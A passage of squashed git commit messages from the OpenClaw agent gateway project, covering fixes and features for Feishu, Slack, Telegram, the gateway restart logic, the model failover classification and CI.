- Precedence: job payload > session override > config default
- Sequential runs with different providers (CI flake regression pattern)
- forceNew session preserving stored model overrides
- Whitespace/empty model string edge cases
- Config model as string vs object format
* test(cron): fix model formatting test config types
* test(phone-control): add registerContextEngine to mock API
* fix: re-export ChannelKind from config-reload-plan
* fix: add subagent mock to plugin-runtime-mock test util
* docs: add changelog fragment for context engine PR #22201
* fix(failover): classify HTTP 402 as rate_limit when payload indicates usage limit (#30484)
Some providers (notably Anthropic Claude Max plan) surface temporary
usage/rate-limit failures as HTTP 402 instead of 429. Before this change,
all 402s were unconditionally mapped to 'billing', which produced a
misleading 'run out of credits' warning for Max plan users who simply
hit their usage window.
This follows the same pattern introduced for HTTP 400 in #36783: check
the error message for an explicit rate-limit signal before falling back
to the default status-code classification.
- classifyFailoverReasonFromHttpStatus now returns 'rate_limit' for 402
when isRateLimitErrorMessage matches the payload text
- Added regression tests covering both the rate-limit and billing paths
on 402
* fix: narrow 402 rate-limit matcher to prevent billing misclassification
The original implementation used isRateLimitErrorMessage(), which matches
phrases like 'quota exceeded' that legitimately appear in billing errors.
This commit replaces it with a narrow, 402-specific matcher that requires
BOTH retry language (try again/retry/temporary/cooldown) AND limit
terminology (usage limit/rate limit/organization usage).
Prevents misclassification of errors like:
'HTTP 402: exceeded quota, please add credits' -> billing (not rate_limit)
Added regression test for the ambiguous case.
---------
Co-authored-by: Val Alexander <bunsthedev@gmail.com>
* feat(openai): add gpt-5.4 support and priority processing
* feat(openai-codex): add gpt-5.4 oauth support
* fix(openai): preserve provider overrides in gpt-5.4 fallback
* fix(openai-codex): keep xhigh for gpt-5.4 default
* fix(models): preserve configured overrides in list output
* fix(models): close gpt-5.4 integration gaps
* fix(openai): scope service tier to public api
* fix(openai): complete prep followups for gpt-5.4 support (#36590) (thanks @dorukardahan)
---------
Co-authored-by: Tyler Yust <TYTYYUST@YAHOO.COM>
- Prime app_mention retry allowance before dedupe so near-simultaneous message/app_mention races do not drop valid mentions.
- Prevent duplicate dispatch when app_mention wins the race and message prepare later succeeds.
- Prune dispatched mention keys and add regression coverage for both dropped and successful in-flight message outcomes.
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
This PR fixes Slack mention loss without reintroducing duplicate dispatches.
- Preserve seen-message dedupe at ingress to prevent duplicate processing.
- Allow a one-time app_mention retry only when the paired message event was previously dropped before dispatch.
- Add targeted race tests for both recovery and duplicate-prevention paths.
Co-authored-by: littleben <1573829+littleben@users.noreply.github.com>
Co-authored-by: OpenClaw Agent <agent@openclaw.ai>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
Restore Slack local file upload parity with CVE-era local media allowlist enforcement by threading `mediaLocalRoots` through the Slack send call chain.
- pass `ctx.mediaLocalRoots` from Slack channel action adapter into `handleSlackAction`
- add and forward `mediaLocalRoots` in Slack action context/send path
- pass `mediaLocalRoots` into `sendMessageSlack` for upload allowlist enforcement
- add changelog entry with attribution for this behavior fix
Co-authored-by: 2233admin <1497479966@qq.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
Fix merged schema cache key generation for high-cardinality plugin/channel metadata by hashing incrementally instead of serializing one large aggregate string.
Includes changelog entry for the user-visible regression fix.
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
Co-authored-by: Bill <gsamzn@gmail.com>
- Prevent Control UI session render crashes when `marked.parse()` encounters pathological recursive markdown by safely falling back to escaped `<pre>` output.
- Tighten markdown fallback regression coverage and keep changelog attribution in sync for this crash-hardening path.
Co-authored-by: Bin Deng <dengbin@romangic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
- Feishu/group slash command detection: normalize group mention wrappers before command-authorization probing so mention-prefixed commands are recognized in group routing.\n- Source PR: #36011\n- Contributor: @liuxiaopai-ai\n\nCo-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>\nCo-authored-by: liuxiaopai-ai <73659136+liuxiaopai-ai@users.noreply.github.com>
## Summary\n\nFeishu group slash command parsing is fixed for mentions and command probes across authorization paths.\n\nThis includes:\n- Normalizing bot mention text in group context for reliable slash detection in message parsing.\n- Adding command-probe normalization for group slash invocations.\n\nCo-authored-by: Sid Qin <sidqin0410@gmail.com>\nCo-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(feishu): accept groupPolicy "allowall" as alias for "open"
When users configure groupPolicy: "allowall" in Feishu channel config,
the Zod schema rejects the value and the runtime policy check falls
through to the allowlist path. With an empty allowFrom array, all group
messages are silently dropped despite the intended "allow all" semantics.
Accept "allowall" at the schema level (transform to "open") and add a
runtime guard in isFeishuGroupAllowed so the value is handled even if it
bypasses schema validation.
Closes#36312
Made-with: Cursor
* Feishu: tighten allowall alias handling and coverage
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
When the Feishu API hangs or responds slowly, the sendChain never settles,
causing the per-chat queue to remain in a processing state forever and
blocking all subsequent messages in that thread. This adds a 30-second
default timeout to all Feishu HTTP requests by providing a timeout-aware
httpInstance to the Lark SDK client.
Closes#36412
Co-authored-by: Ayane <wangruofei@soulapp.cn>
* fix(gateway): pass actual version to Control UI client instead of "dev"
The GatewayClient, CLI WS client, and browser Control UI all sent
"dev" as their clientVersion during handshake, making it impossible
to distinguish builds in gateway logs and health snapshots.
- GatewayClient and CLI WS client now use the resolved VERSION constant
- Control UI reads serverVersion from the bootstrap endpoint and
forwards it when connecting
- Bootstrap contract extended with serverVersion field
Closes#35209
* Gateway: fix control-ui version version-reporting consistency
* Control UI: guard deferred bootstrap connect after disconnect
* fix(ui): accept same-origin http and relative gateway URLs for client version
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
Move skill-command deduplication by skillName from the Discord-only
`dedupeSkillCommandsForDiscord` into `listSkillCommandsForAgents` so
every interface (TUI, Slack, text) consistently sees a clean command
list without platform-specific workarounds.
When multiple agents share a skill with the same name the old code
emitted `github` + `github_2` and relied on Discord to collapse them.
Now `listSkillCommandsForAgents` returns only the first registration
per skillName, and the Discord-specific wrapper is removed.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix(agents): bypass pendingDescendantRuns guard for cron announce delivery
Standalone cron job completions were blocked from direct channel delivery
when the cron run had spawned subagents that were still registered as
pending. The pendingDescendantRuns guard exists for live orchestration
coordination and should not apply to fire-and-forget cron announce sends.
Thread the announceType through the delivery chain and skip both the
child-descendant and requester-descendant pending-run guards when the
announce originates from a cron job.
Closes#34966
* fix: ensure outbound session entry for cron announce with named agents (#32432)
Named agents may not have a session entry for their delivery target,
causing the announce flow to silently fail (delivered=false, no error).
Two fixes:
1. Call ensureOutboundSessionEntry when resolving the cron announce
session key so downstream delivery can find channel metadata.
2. Fall back to direct outbound delivery when announce delivery fails
to ensure cron output reaches the target channel.
Closes#32432
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: guard announce direct-delivery fallback against suppression leaks (#32432)
The `!delivered` fallback condition was too broad — it caught intentional
suppressions (active subagents, interim messages, SILENT_REPLY_TOKEN) in
addition to actual announce delivery failures. Add an
`announceDeliveryWasAttempted` flag so the direct-delivery fallback only
fires when `runSubagentAnnounceFlow` was actually called and failed.
Also remove the redundant `if (route)` guard in
`resolveCronAnnounceSessionKey` since `resolved` being truthy guarantees
`route` is non-null.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(cron): harden announce synthesis follow-ups
---------
Co-authored-by: scoootscooob <zhentongfan@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(feishu): use msg_type media for mp4 video (fixes#33674)
* Feishu: harden streaming merge semantics and final reply dedupe
Use explicit streaming update semantics in the Feishu reply dispatcher:
treat onPartialReply payloads as snapshot updates and block fallback payloads
as delta chunks, then merge final text with the shared overlap-aware
mergeStreamingText helper before closing the stream.
Prevent duplicate final text delivery within the same dispatch cycle, and add
regression tests covering overlap snapshot merge, duplicate final suppression,
and block-as-delta behavior to guard against repeated/truncated output.
* fix(feishu): prefer message.reply for streaming cards in topic threads
* fix: reduce Feishu streaming card print_step to avoid duplicate rendering
Fixesopenclaw/openclaw#33751
* Feishu: preserve media sends on duplicate finals and add media synthesis changelog
* Feishu: only dedupe exact duplicate final replies
* Feishu: use scoped plugin-sdk import in streaming-card tests
---------
Co-authored-by: 倪汉杰0668001185 <ni.hanjie@xydigit.com>
Co-authored-by: zhengquanliu <zhengquanliu@bytedance.com>
Co-authored-by: nick <nickzj@qq.com>
Co-authored-by: linhey <linhey@mini.local>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(feishu): comprehensive reply mechanism fix — outbound replyToId forwarding + topic-aware reply targeting
- Forward replyToId from ChannelOutboundContext through sendText/sendMedia
to sendMessageFeishu/sendMarkdownCardFeishu/sendMediaFeishu, enabling
reply-to-message via the message tool.
- Fix group reply targeting: use ctx.messageId (triggering message) in
normal groups to prevent silent topic thread creation (#32980). Preserve
ctx.rootId targeting for topic-mode groups (group_topic/group_topic_sender)
and groups with explicit replyInThread config.
- Add regression tests for both fixes.
Fixes#32980Fixes#32958
Related #19784
* fix: normalize Feishu delivery.to before comparing with messaging tool targets
- Add normalizeDeliveryTarget helper to strip user:/chat: prefixes for Feishu
- Apply normalization in matchesMessagingToolDeliveryTarget before comparison
- This ensures cron duplicate suppression works when session uses prefixed targets
(user:ou_xxx) but messaging tool extract uses normalized bare IDs (ou_xxx)
Fixes review comment on PR #32755
(cherry picked from commit fc20106f16)
* fix(feishu): catch thrown SDK errors for withdrawn reply targets
The Feishu Lark SDK can throw exceptions (SDK errors with .code or
AxiosErrors with .response.data.code) for withdrawn/deleted reply
targets, in addition to returning error codes in the response object.
Wrap reply calls in sendMessageFeishu and sendCardFeishu with
try-catch to handle thrown withdrawn/not-found errors (230011,
231003) and fall back to client.im.message.create, matching the
existing response-level fallback behavior.
Also extract sendFallbackDirect helper to deduplicate the
direct-send fallback block across both functions.
Closes#33496
(cherry picked from commit ad0901aec1)
* feishu: forward outbound reply target context
(cherry picked from commit c129a691fcf552a1cebe1e8a22ea8611ffc3b377)
* feishu extension: tighten reply target fallback semantics
(cherry picked from commit f85ec610f267020b66713c09e648ec004b2e26f1)
* fix(feishu): align synthesized fallback typing and changelog attribution
* test(feishu): cover group_topic_sender reply targeting
---------
Co-authored-by: Xu Zimo <xuzimojimmy@163.com>
Co-authored-by: Munem Hashmi <munem.hashmi@gmail.com>
Co-authored-by: bmendonca3 <bmendonca3@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* daemon(systemd): fall back to machine user scope when user bus is missing
* test(systemd): cover machine scope fallback for user-bus errors
* test(systemd): reset execFile mock state across cases
* test(systemd): make machine-user fallback assertion portable
* fix(daemon): keep root sudo path on direct user scope
* test(systemd): cover sudo root user-scope behavior
* ci: use resolvable bun version in setup-node-env
* daemon(systemd): target sudo caller user scope
* test(systemd): cover sudo user scope commands
* infra(ports): fall back to ss when lsof missing
* test(ports): verify ss fallback listener detection
* cli(gateway): use probe fallback for restart health
* test(gateway): cover restart-health probe fallback
createOllamaStreamFn() only accepted baseUrl, ignoring custom headers
configured in models.providers.<provider>.headers. This caused 403
errors when Ollama endpoints are behind reverse proxies that require
auth headers (e.g. X-OLLAMA-KEY via HAProxy).
Add optional defaultHeaders parameter to createOllamaStreamFn() and
merge them into every fetch request. Provider headers from config are
now passed through at the call site in the embedded runner.
Fixes#24285
* feat(ios): add live activity connection status and cleanup
Add lock-screen/Dynamic Island connection health states and prune duplicate/stale activities before reuse. This intentionally excludes AI/title generation and heavier UX rewrites from #27488.
Co-authored-by: leepokai <1663017+leepokai@users.noreply.github.com>
* fix(ios): treat ended live activities as inactive
* chore(changelog): add PR reference and author thanks
---------
Co-authored-by: leepokai <1663017+leepokai@users.noreply.github.com>
* feat(slack): add typingReaction config for DM typing indicator fallback
Adds a reaction-based typing indicator for Slack DMs that works without
assistant mode. When `channels.slack.typingReaction` is set (e.g.
"hourglass_flowing_sand"), the emoji is added to the user's message when
processing starts and removed when the reply is sent.
Addresses #19809
* test(slack): add typingReaction to createSlackMonitorContext test callers
* test(slack): add typingReaction to test context callers
* test(slack): add typingReaction to context fixture
* docs(changelog): credit Slack typingReaction feature
* test(slack): align existing-thread history expectation
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
- Export pickFirstExistingAgentId and use it to validate topic agentId
- Properly update mainSessionKey when overriding route agent
- Fix docs example showing incorrect session key for topic 3
Fixes issue where non-existent agentId would create orphaned sessions.
Fixes issue where DM topic replies would route to wrong agent.
This feature allows different topics within a Telegram forum supergroup to route
to different agents, each with isolated workspace, memory, and sessions.
Key changes:
- Add agentId field to TelegramTopicConfig type for per-topic routing
- Add zod validation for agentId in topic config schema
- Implement routing logic to re-derive session key with topic's agent
- Add debug logging for topic agent overrides
- Add unit tests for routing behavior (forum topics + DM topics)
- Add config validation tests
- Document feature in docs/channels/telegram.md
This builds on the approach from PR #31513 by @Sid-Qin with additional fixes
for security (preserved account fail-closed guard) and test coverage.
Closes#31473
* fix(gateway): correct launchctl command sequence for gateway restart (closes#20030)
* fix(restart): expand HOME and escape label in launchctl plist path
* fix(restart): poll port free after SIGKILL to prevent EADDRINUSE restart loop
When cleanStaleGatewayProcessesSync() kills a stale gateway process,
the kernel may not immediately release the TCP port. Previously the
function returned after a fixed 500ms sleep (300ms SIGTERM + 200ms
SIGKILL), allowing triggerOpenClawRestart() to hand off to systemd
before the port was actually free. The new systemd process then raced
the dying socket for port 18789, hit EADDRINUSE, and exited with
status 1, causing systemd to retry indefinitely — the zombie restart
loop reported in #33103.
Fix: add waitForPortFreeSync() that polls lsof at 50ms intervals for
up to 2 seconds after SIGKILL. cleanStaleGatewayProcessesSync() now
blocks until the port is confirmed free (or the budget expires with a
warning) before returning. The increased SIGTERM/SIGKILL wait budgets
(600ms / 400ms) also give slow processes more time to exit cleanly.
Fixes#33103
Related: #28134
* fix: add EADDRINUSE retry and TIME_WAIT port-bind checks for gateway startup
* fix(ports): treat EADDRNOTAVAIL as non-retryable and fix flaky test
* fix(gateway): hot-reload agents.defaults.models allowlist changes
The reload plan had a rule for `agents.defaults.model` (singular) but
not `agents.defaults.models` (plural — the allowlist array). Because
`agents.defaults.models` does not prefix-match `agents.defaults.model.`,
it fell through to the catch-all `agents` tail rule (kind=none), so
allowlist edits in openclaw.json were silently ignored at runtime.
Add a dedicated reload rule so changes to the models allowlist trigger
a heartbeat restart, which re-reads the config and serves the updated
list to clients.
Fixes#33600
Co-authored-by: HCL <chenglunhu@gmail.com>
Signed-off-by: HCL <chenglunhu@gmail.com>
* test(restart): 100% branch coverage — audit round 2
Audit findings fixed:
- remove dead guard: terminateStaleProcessesSync pids.length===0 check was
unreachable (only caller cleanStaleGatewayProcessesSync already guards)
- expose __testing.callSleepSyncRaw so sleepSync's real Atomics.wait path
can be unit-tested directly without going through the override
- fix broken sleepSync Atomics.wait test: previous test set override=null
but cleanStaleGatewayProcessesSync returned before calling sleepSync —
replaced with direct callSleepSyncRaw calls that actually exercise L36/L42-47
- fix pid collision: two tests used process.pid+304 (EPERM + dead-at-SIGTERM);
EPERM test changed to process.pid+305
- fix misindented tests: 'deduplicates pids' and 'lsof status 1 container
edge case' were outside their intended describe blocks; moved to correct
scopes (findGatewayPidsOnPortSync and pollPortOnce respectively)
- add missing branch tests:
- status 1 + non-empty stdout with zero openclaw pids → free:true (L145)
- mid-loop non-openclaw cmd in &&-chain (L67)
- consecutive p-lines without c-line between them (L67)
- invalid PID in p-line (p0 / pNaN) — ternary false branch (L67)
- unknown lsof output line (else-if false branch L69)
Coverage: 100% stmts / 100% branch / 100% funcs / 100% lines (36 tests)
* test(restart): fix stale-pid test typing for tsgo
* fix(gateway): address lifecycle review findings
* test(update): make restart-helper path assertions windows-safe
---------
Signed-off-by: HCL <chenglunhu@gmail.com>
Co-authored-by: Glucksberg <markuscontasul@gmail.com>
Co-authored-by: Efe Büken <efe@arven.digital>
Co-authored-by: Riccardo Marino <rmarino@apple.com>
Co-authored-by: HCL <chenglunhu@gmail.com>
Restore deterministic mediaLocalRoots propagation through extension sendMedia adapters and add coverage for local/remote media handling in Google Chat.
Synthesis of #33581, #33545, #33540, #33536, #33528.
Co-authored-by: bmendonca3 <bmendonca3@users.noreply.github.com>
Synthesize runtime state transition fixes for compaction tool-use integrity and long-running handler backpressure.
Sources: #33630, #33583
Co-authored-by: Kevin Shenghui <shenghuikevin@gmail.com>
Co-authored-by: Theo Tarr <theodore@tarr.com>
* fix: stabilize telegram draft stream message boundaries
* fix: suppress NO_REPLY lead-fragment leaks
* fix: keep underscore guard for non-NO_REPLY prefixes
* fix: skip assistant-start rotation only after real lane rotation
* fix: preserve finalized state when pre-rotation does not force
* fix: reset finalized preview state on message-start boundary
* fix: document Telegram draft boundary + NO_REPLY reliability updates (#33169) (thanks @obviyus)
* fix(telegram): prevent duplicate messages in DM draft streaming mode
When using sendMessageDraft for DM streaming (streaming: 'partial'),
the draft bubble auto-converts to the final message. The code was
incorrectly falling through to sendPayload() after the draft was
finalized, causing a duplicate message.
This fix checks if we're in draft preview mode with hasStreamedMessage
and skips the sendPayload call, returning "preview-finalized" directly.
Key changes:
- Use hasStreamedMessage flag instead of previewRevision comparison
- Avoids double stopDraftLane calls by returning early
- Prevents duplicate messages when final text equals last streamed text
Root cause: In lane-delivery.ts, the final message handling logic
did not properly handle the DM draft flow where sendMessageDraft
creates a transient bubble that doesn't need a separate final send.
* fix(telegram): harden DM draft finalization path
* fix(telegram): require emitted draft preview for unchanged finals
* fix(telegram): require final draft text emission before finalize
* fix: update changelog for telegram draft finalization (#32118) (thanks @OpenCils)
---------
Co-authored-by: Ayaan Zaidi <zaidi@uplause.io>
fix: improve compaction summary instructions to preserve active work
Expand staged-summary merge instructions to preserve active task status, batch progress, latest user request, and follow-up commitments so compaction handoffs retain in-flight work context.
Co-authored-by: joetomasone <56984887+joetomasone@users.noreply.github.com>
Co-authored-by: Josh Lehman <josh@martian.engineering>
Complete the stop reason propagation chain so ACP clients can
distinguish end_turn from max_tokens:
- server-chat.ts: emitChatFinal accepts optional stopReason param,
includes it in the final payload, reads it from lifecycle event data
- translator.ts: read stopReason from the final payload instead of
hardcoding end_turn
Chain: LLM API → run.ts (meta.stopReason) → agent.ts (lifecycle event)
→ server-chat.ts (final payload) → ACP translator (PromptResponse)
* fix(gateway): flush throttled delta before emitChatFinal
The 150ms throttle in emitChatDelta can suppress the last text chunk
before emitChatFinal fires, causing streaming clients (e.g. ACP) to
receive truncated responses. The final event carries the complete text,
but clients that build responses incrementally from deltas miss the
tail end.
Flush one last unthrottled delta with the complete buffered text
immediately before sending the final event. This ensures all streaming
consumers have the full response without needing to reconcile deltas
against the final payload.
* fix(gateway): avoid duplicate delta flush when buffer unchanged
Track the text length at the time of the last broadcast. The flush in
emitChatFinal now only sends a delta if the buffer has grown since the
last broadcast, preventing duplicate sends when the final delta passed
the 150ms throttle and was already broadcast.
* fix(gateway): honor heartbeat suppression in final delta flush
* test(gateway): add final delta flush and dedupe coverage
* fix(gateway): skip final flush for silent lead fragments
* docs(changelog): note gateway final-delta flush fix credits
---------
Co-authored-by: Jonathan Taylor <visionik@pobox.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix(feishu): normalize all mentions in inbound agent context
Convert Feishu mention placeholders to explicit <at user_id="..."> tags (including bot mentions), add mention semantics hints for the model, and remove unused mentionMessageBody parsing to keep context handling consistent.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix(feishu): use replacer callback and escape only < > in normalizeMentions
Switch String.replace to a function replacer to prevent $ sequences in
display names from being interpolated as replacement patterns. Narrow
escaping to < and > only — & does not need escaping in LLM prompt tag
bodies and escaping it degrades readability (e.g. R&D → R&D).
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix(feishu): only use open_id in normalizeMentions tag, drop user_id fallback
When a mention has no open_id, degrade to @name instead of emitting
<at user_id="uid_...">. This keeps the tag user_id space exclusively
open_id, so the bot self-reference hint (which uses botOpenId) is
always consistent with what appears in the tags.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix(feishu): register mention strip pattern for <at> tags in channel dock
Add mentions.stripPatterns to feishuPlugin so that normalizeCommandBody
receives a slash-clean string after normalizeMentions replaces Feishu
placeholders with <at user_id="...">name</at> tags. Without this,
group slash commands like @Bot /help had their leading / obscured by
the tag prefix and no longer triggered command handlers.
Pattern mirrors the approach used by Slack (<@[^>]+>) and Discord (<@!?\d+>).
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix(feishu): strip bot mention in p2p to preserve DM slash commands
In p2p messages the bot mention is a pure addressing prefix; converting
it to <at user_id="..."> breaks slash commands because buildCommandContext
skips stripMentions for DMs. Extend normalizeMentions with a stripKeys
set and populate it with bot mention keys in p2p, so @Bot /help arrives
as /help. Non-bot mentions (mention-forward targets) are still normalized
to <at> tags in both p2p and group contexts.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* Changelog: note Feishu inbound mention normalization
---------
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(feishu): guard against false-positive @mentions in multi-app groups
When multiple Feishu bot apps share a group chat, Feishu's WebSocket
event delivery remaps the open_id in mentions[] per-app. This causes
checkBotMentioned() to return true for ALL bots when only one was
actually @mentioned, making requireMention ineffective.
Add a botName guard: if the mention's open_id matches this bot but the
mention's display name differs from this bot's configured botName, treat
it as a false positive and skip.
botName is already available via account.config.botName (set during
onboarding).
Closes#24249
* fix(feishu): support @all mention in multi-bot groups
When a user sends @all (@_all in Feishu message content), treat it as
mentioning every bot so all agents respond when requireMention is true.
Feishu's @all does not populate the mentions[] array, so this needs
explicit content-level detection.
* fix(feishu): auto-fetch bot display name from API for reliable mention matching
Instead of relying on the manually configured botName (which may differ
from the actual Feishu bot display name), fetch the bot's display name
from the Feishu API at startup via probeFeishu().
This ensures checkBotMentioned() always compares against the correct
display name, even when the config botName doesn't match (e.g. config
says 'Wanda' but Feishu shows '绯红女巫').
Changes:
- monitor.ts: fetchBotOpenId → fetchBotInfo (returns both openId and name)
- monitor.ts: store botNames map, pass botName to handleFeishuMessage
- bot.ts: accept botName from params, prefer it over config fallback
* Changelog: note Feishu multi-app mention false-positive guard
---------
Co-authored-by: Teague Xiao <teaguexiao@TeaguedeMac-mini.local>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix: add session-memory hook support for Feishu provider
Issue #31275: Session-memory hook not triggered when using /new command in Feishu
- Added command handler to Feishu provider
- Integrated with OpenClaw's before_reset hook system
- Ensures session memory is saved when /new or /reset commands are used
* Changelog: note Feishu session-memory hook parity
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(feishu): non-blocking ws ack and preserve streaming card full content
* fix(feishu): preserve fragmented streaming text without newline artifacts
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* feishu: pass per-group systemPrompt to inbound context
The Feishu extension schema supports systemPrompt in per-group config
(channels.feishu.accounts.<id>.groups.<groupId>.systemPrompt) but the
value was never forwarded to the inbound context as GroupSystemPrompt.
This means per-group system prompts configured for Feishu had no effect,
unlike IRC, Discord, Slack, Telegram, Matrix, and other channels that
already pass this field correctly.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
* line: pass per-group systemPrompt to inbound context
Same issue as feishu: the Line config schema defines systemPrompt in
per-group config but the value was never forwarded as GroupSystemPrompt
in the inbound context payload.
Added resolveLineGroupSystemPrompt helper that mirrors the existing
resolveLineGroupConfig lookup logic (groupId > roomId > wildcard).
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
* Changelog: note Feishu and LINE group systemPrompt propagation
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(feishu): correct invalid scope name in permission grant URL
The Feishu API returns error code 99991672 with an authorization URL
containing the non-existent scope `contact:contact.base:readonly`
when the `contact.user.get` endpoint is called without the correct
permission. The valid scope is `contact:user.base:readonly`.
Add a scope correction map that replaces known incorrect scope names
in the extracted grant URL before presenting it to the user/agent,
so the authorization link actually works.
Closes#31761
* chore(changelog): note feishu scope correction
---------
Co-authored-by: SidQin-cyber <sidqin0410@gmail.com>
* feat(feishu): add broadcast support for multi-agent group observation
When multiple agents share a Feishu group chat, only the @mentioned
agent receives the message. This prevents observer agents from building
session memory of group activity they weren't directly addressed in.
Adds broadcast support (reusing the same cfg.broadcast schema as
WhatsApp) so all configured agents receive every group message in their
session transcripts. Only the @mentioned agent responds on Feishu;
observer agents process silently via no-op dispatchers.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(feishu): guard sequential broadcast dispatch against single-agent failure
Wrap each dispatchForAgent() call in the sequential loop with try/catch
so one agent's dispatch failure doesn't abort delivery to remaining agents.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(feishu): avoid duplicate messages in broadcast observer mode and normalize agent IDs
- Skip recordPendingHistoryEntryIfEnabled for broadcast groups when not
mentioned, since the message is dispatched directly to all agents.
Previously the message appeared twice in the agent prompt.
- Normalize agent IDs with toLowerCase() before membership checks so
config casing mismatches don't silently skip valid agents.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(feishu): set WasMentioned per-agent and normalize broadcast IDs
- buildCtxPayloadForAgent now takes a wasMentioned parameter so active
agents get WasMentioned=true and observers get false (P1 fix)
- Normalize broadcastAgents to lowercase at resolution time and
lowercase activeAgentId so all comparisons and session key generation
use canonical IDs regardless of config casing (P2 fix)
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(feishu): canonicalize broadcast agent IDs with normalizeAgentId
* fix(feishu): match ReplyDispatcher sync return types for noop dispatcher
The upstream ReplyDispatcher changed sendToolResult/sendBlockReply/
sendFinalReply to synchronous (returning boolean). Update the broadcast
observer noop dispatcher to match.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(feishu): deduplicate broadcast agent IDs after normalization
Config entries like "Main" and "main" collapse to the same canonical ID
after normalizeAgentId but were dispatched multiple times. Use Set to
deduplicate after normalization.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(feishu): honor requireMention=false when selecting broadcast responder
When requireMention is false, the routed agent should be active (reply
on Feishu) even without an explicit @mention. Previously activeAgentId
was null whenever ctx.mentionedBot was false, so all agents got the
noop dispatcher and no reply was sent — silently breaking groups that
disabled mention gating.
Hoist requireMention out of the if(isGroup) block so it's accessible
in the dispatch code.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(feishu): cross-account broadcast dedup to prevent duplicate dispatches
In multi-account Feishu setups, the same message event is delivered to
every bot account in a group. Without cross-account dedup, each account
independently dispatches broadcast agents, causing 2×N dispatches instead
of N (where N = number of broadcast agents).
Two changes:
1. requireMention=true + bot not mentioned: return early instead of
falling through to broadcast. The mentioned bot's handler will
dispatch for all agents. Non-mentioned handlers record to history.
2. Add cross-account broadcast dedup using a shared 'broadcast' namespace
(tryRecordMessagePersistent). The first handler to reach the broadcast
block claims the message; subsequent accounts skip. This handles the
requireMention=false multi-account case.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(feishu): strip CommandAuthorized from broadcast observer contexts
Broadcast observer agents inherited CommandAuthorized from the sender,
causing slash commands (e.g. /reset) to silently execute on every observer
session. Now only the active agent retains CommandAuthorized; observers
have it stripped before dispatch.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(feishu): use actual mention state for broadcast WasMentioned
The active broadcast agent's WasMentioned was set to true whenever
requireMention=false, even when the bot was not actually @mentioned.
Now uses ctx.mentionedBot && agentId === activeAgentId, consistent
with the single-agent path which passes ctx.mentionedBot directly.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(feishu): skip history buffer for broadcast accounts and log parallel failures
1. In requireMention groups with broadcast, non-mentioned accounts no
longer buffer pending history — the mentioned handler's broadcast
dispatch already writes turns into all agent sessions. Buffering
caused duplicate replay via buildPendingHistoryContextFromMap.
2. Parallel broadcast dispatch now inspects Promise.allSettled results
and logs rejected entries, matching the sequential path's per-agent
error logging.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* Changelog: note Feishu multi-agent broadcast dispatch
* Changelog: restore author credit for Feishu broadcast entry
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(feishu): preserve block streaming text when final payload is missing
When Feishu card streaming receives block payloads without matching final/partial
callbacks, keep block text in stream state so onIdle close still publishes the
reply instead of an empty message. Add a regression test for block-only streaming.
Closes#30628
* Feishu: preserve streaming block fallback when final text is missing
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* CI: add windows scope output for changed-scope
* Test: cover windows scope gating in changed-scope
* CI: gate checks-windows by windows scope
* Docs: update CI windows scope and runner label
* CI: move checks-windows to 32 vCPU runner
* Docs: align CI windows runner with workflow
Three issues caused the port to remain bound after partial failures:
1. VoiceCallWebhookServer.start() had no idempotency guard — calling it
while the server was already listening would create a second server on
the same port.
2. createVoiceCallRuntime() did not clean up the webhook server if a step
